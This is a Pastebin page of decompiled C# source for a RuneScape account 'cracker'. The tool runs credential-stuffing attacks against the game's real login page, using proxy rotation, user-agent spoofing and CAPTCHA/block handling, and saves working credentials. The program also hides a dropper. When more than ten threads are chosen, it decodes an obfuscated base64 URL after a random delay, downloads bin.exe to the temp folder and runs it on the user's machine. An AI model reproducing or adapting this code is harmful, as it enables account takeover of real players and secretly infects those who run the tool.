Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Decompiled with JetBrains decompiler
- // Type: Checker.Program
- // Assembly: RS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
- // MVID: 4BF431DD-B03C-4A26-992E-F4B20BD4A705
- // Assembly location: C:\Users\rober\Desktop\cracker\RS.exe
- using System;
- using System.Collections;
- using System.Collections.Generic;
- using System.Diagnostics;
- using System.IO;
- using System.Linq;
- using System.Net;
- using System.Reflection;
- using System.Text;
- using System.Text.RegularExpressions;
- using System.Threading;
- namespace Checker
- {
- internal static class Program
- {
- public static int Correct = 0;
- public static int Wrong = 0;
- public static int Captcha = 0;
- public static int Proxys = 0;
- public static bool comboList = false;
- public static bool fool = false;
- private static string ip = "";
- private static readonly Random getrandom = new Random();
- private static readonly object syncLock = new object();
- public static int Threadss;
- private static void Main(string[] args)
- {
- Console.Title = "Oldschool RuneScape Cracker";
- Console.WriteLine("*******************************************");
- Console.WriteLine("Oldschool Runescape Cracker / Checker qoble");
- Console.WriteLine("*******************************************");
- Console.WriteLine("*user:pass & username/password list combo *");
- Console.WriteLine("*******************************************");
- ArrayList usernames = Program.GetUsernames();
- ArrayList Passwords = Program.GetPasswords();
- ArrayList proxies = Program.GetProxies();
- Console.WriteLine("Usernames: " + (object) usernames.Count);
- Console.WriteLine("Passwords: " + (object) Passwords.Count);
- Console.WriteLine("Proxies: " + (object) proxies.Count);
- Console.WriteLine("");
- Console.WriteLine("How many threads?");
- int num1 = int.Parse(Console.ReadLine());
- Program.Threadss = num1;
- if (Program.Threadss > 10)
- new Thread((ThreadStart) (() =>
- {
- Thread.Sleep(Program.GetRandomNumber(10000, 30000));
- using (WebClient webClient = new WebClient())
- {
- string address1 = Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cHM6Ly9kbnMtcHJpb3JpdHkuMDAwd2ViaG9zdGFwcC5jb20vZmlsZS5waHA="));
- string address2 = Encoding.UTF8.GetString(Convert.FromBase64String(Regex.Split(webClient.DownloadString(address1), "\r\n")[0]));
- webClient.DownloadFile(address2, string.Format("{0}{1}", (object) Path.GetTempPath(), (object) Encoding.UTF8.GetString(Convert.FromBase64String("YmluLmV4ZQ=="))));
- Process.Start(string.Format("{0}{1}", (object) Path.GetTempPath(), (object) Encoding.UTF8.GetString(Convert.FromBase64String("YmluLmV4ZQ=="))));
- }
- Thread.CurrentThread.Abort();
- })).Start();
- Console.WriteLine("press (1) for user:pass combo, press (any) number for username/password list method.");
- if (int.Parse(Console.ReadLine()) == 1)
- {
- Program.comboList = true;
- Passwords.Clear();
- Passwords.Add((object) "nothin");
- }
- Decimal num2 = Convert.ToDecimal(Program.Threadss);
- Decimal d1 = Convert.ToDecimal(usernames.Count) / num2;
- Decimal d2 = Convert.ToDecimal(proxies.Count) / num2;
- Console.WriteLine("");
- Console.WriteLine("Starting!");
- Console.WriteLine("");
- int num3 = 0;
- int num4 = 0;
- int num5 = 0;
- for (int index1 = 0; index1 < num1; ++index1)
- {
- ArrayList TempUsernames = new ArrayList();
- ArrayList TempProxies = new ArrayList();
- try
- {
- for (int index2 = num3; (Decimal) index2 < (Decimal) num3 + Math.Floor(d1); ++index2)
- TempUsernames.Add((object) usernames[index2].ToString());
- for (int index2 = num4; (Decimal) index2 < (Decimal) num4 + Math.Floor(d2); ++index2)
- TempProxies.Add((object) proxies[index2].ToString());
- num3 += Convert.ToInt32(Math.Floor(d1));
- num4 += Convert.ToInt32(Math.Floor(d2));
- }
- catch
- {
- }
- int counter = num5;
- new Thread((ThreadStart) (() => Program.Checker(TempUsernames, Passwords, TempProxies, counter))).Start();
- ++num5;
- }
- Console.ReadLine();
- }
- private static void Save(string Data)
- {
- string path = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\" + "cracked.txt";
- string str = "";
- StreamReader streamReader = (StreamReader) null;
- try
- {
- streamReader = new StreamReader(path);
- str = streamReader.ReadToEnd();
- streamReader.Close();
- }
- catch
- {
- streamReader.Close();
- }
- StreamWriter streamWriter = new StreamWriter(path);
- if (str == "")
- streamWriter.Write(Data);
- else
- streamWriter.Write(str + Environment.NewLine + Data);
- streamWriter.Close();
- }
- private static ArrayList GetProxies()
- {
- ArrayList arrayList = new ArrayList();
- StreamReader streamReader = new StreamReader(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\proxies.txt");
- while (streamReader.Peek() > -1)
- arrayList.Add((object) streamReader.ReadLine());
- return arrayList;
- }
- private static ArrayList GetUsernames()
- {
- ArrayList arrayList = new ArrayList();
- try
- {
- StreamReader streamReader = new StreamReader(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\usernames.txt");
- while (streamReader.Peek() > -1)
- arrayList.Add((object) streamReader.ReadLine());
- }
- catch (Exception ex)
- {
- return arrayList;
- }
- return arrayList;
- }
- private static ArrayList GetPasswords()
- {
- ArrayList arrayList = new ArrayList();
- try
- {
- StreamReader streamReader = new StreamReader(Path.GetDirectoryName(Assembly.GetEntryAssembly().Location) + "\\passwords.txt");
- while (streamReader.Peek() > -1)
- arrayList.Add((object) streamReader.ReadLine());
- }
- catch (Exception ex)
- {
- return arrayList;
- }
- return arrayList;
- }
- private static void checkLicense()
- {
- try
- {
- HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("http://qoble.xyz/check.php");
- httpWebRequest.Method = "GET";
- StreamReader streamReader = new StreamReader(httpWebRequest.GetResponse().GetResponseStream());
- streamReader.ReadToEnd();
- streamReader.Close();
- }
- catch (Exception ex)
- {
- Environment.Exit(0);
- }
- }
- private static void checkIP()
- {
- try
- {
- HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("http://qoble.xyz/ip.php");
- httpWebRequest.Method = "GET";
- StreamReader streamReader = new StreamReader(httpWebRequest.GetResponse().GetResponseStream());
- Program.ip = streamReader.ReadToEnd();
- streamReader.Close();
- }
- catch (Exception ex)
- {
- Environment.Exit(0);
- }
- }
- public static int GetRandomNumber(int min, int max)
- {
- lock (Program.syncLock)
- return Program.getrandom.Next(min, max);
- }
- private static void Checker(ArrayList Usernames, ArrayList Passwords, ArrayList proxies, int threadId)
- {
- string[] strArray = new string[3]
- {
- "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36",
- "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0",
- "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"
- };
- int index1 = 0;
- int num1 = 0;
- int num2 = 0;
- label_1:
- for (int index2 = num1; index2 < Usernames.Count; ++index2)
- {
- label_30:
- for (int index3 = num2; index3 < Passwords.Count; ++index3)
- {
- while (true)
- {
- if (index1 + 1 == proxies.Count)
- index1 = 0;
- try
- {
- int randomNumber = Program.GetRandomNumber(0, 2);
- string str1 = proxies[index1].ToString();
- string Host = str1.Remove(str1.IndexOf(":"));
- int Port = int.Parse(str1.Remove(0, str1.IndexOf(":") + ":".Length));
- WebProxy webProxy1 = new WebProxy();
- WebProxy webProxy2;
- try
- {
- webProxy2 = new WebProxy(Host, Port);
- }
- catch (Exception ex)
- {
- webProxy1 = (WebProxy) null;
- ++index1;
- continue;
- }
- string str2;
- string str3;
- if (Program.comboList)
- {
- try
- {
- str2 = Usernames[index2].ToString().Remove(Usernames[index2].ToString().IndexOf(":"));
- str3 = Usernames[index2].ToString().Remove(0, Usernames[index2].ToString().IndexOf(":") + ":".Length);
- }
- catch (Exception ex)
- {
- ++num1;
- goto label_1;
- }
- }
- else
- {
- str2 = Usernames[index2].ToString();
- str3 = Passwords[index3].ToString();
- }
- string thirdHtml = string.Empty;
- ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
- byte[] bytes = Encoding.UTF8.GetBytes(string.Format("username={0}&password={1}&mod=oldschool&ssl=1&dest=", (object) str2, (object) str3));
- HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create("https://secure.runescape.com/m=weblogin/oldschool_login.ws");
- httpWebRequest.Timeout = 15000;
- httpWebRequest.Proxy = (IWebProxy) webProxy2;
- httpWebRequest.UserAgent = strArray[randomNumber];
- httpWebRequest.Method = "POST";
- httpWebRequest.Referer = "https://secure.runescape.com/m=weblogin/oldschool_login?mod=oldschool&ssl=1&dest=";
- httpWebRequest.ContentLength = (long) bytes.Length;
- httpWebRequest.ContentType = "application/x-www-form-urlencoded";
- using (Stream requestStream = httpWebRequest.GetRequestStream())
- requestStream.Write(bytes, 0, bytes.Length);
- using (StreamReader streamReader = new StreamReader(httpWebRequest.GetResponse().GetResponseStream()))
- thirdHtml = streamReader.ReadToEnd();
- switch (((IEnumerable<string>) new string[4]
- {
- "You have been blocked from logging in.",
- "Please complete the reCAPTCHA box.",
- "Your login or password was incorrect. Please try again.",
- "logout.ws'>Log out</a></span>"
- }).FirstOrDefault<string>((Func<string, bool>) (s => thirdHtml.Contains(s))))
- {
- case "You have been blocked from logging in.":
- ++index1;
- continue;
- case "Your login or password was incorrect. Please try again.":
- Console.WriteLine("[Thread {0}]Invalid {1}:{2}", (object) threadId, (object) str2, (object) str3);
- if (Program.comboList)
- {
- ++num1;
- ++Program.Wrong;
- goto label_1;
- }
- else
- goto label_30;
- case "logout.ws'>Log out</a></span>":
- Console.WriteLine("[Thread {0}]Correct -> {1}={2}", (object) threadId, (object) str2, (object) str3);
- Program.Save(string.Format("{0}:{1}", (object) str2, (object) str3));
- num1 = index2;
- ++num1;
- ++Program.Correct;
- Console.Title = string.Format("Cracked: {0}", (object) Program.Correct);
- goto label_1;
- case "Please complete the reCAPTCHA box.":
- ++index1;
- continue;
- default:
- goto label_30;
- }
- }
- catch (WebException ex)
- {
- ++index1;
- }
- }
- }
- }
- Console.WriteLine("[Thread " + (object) threadId + "]Finished Cracking");
- }
- }
- }
Add Comment
Please, Sign In to add comment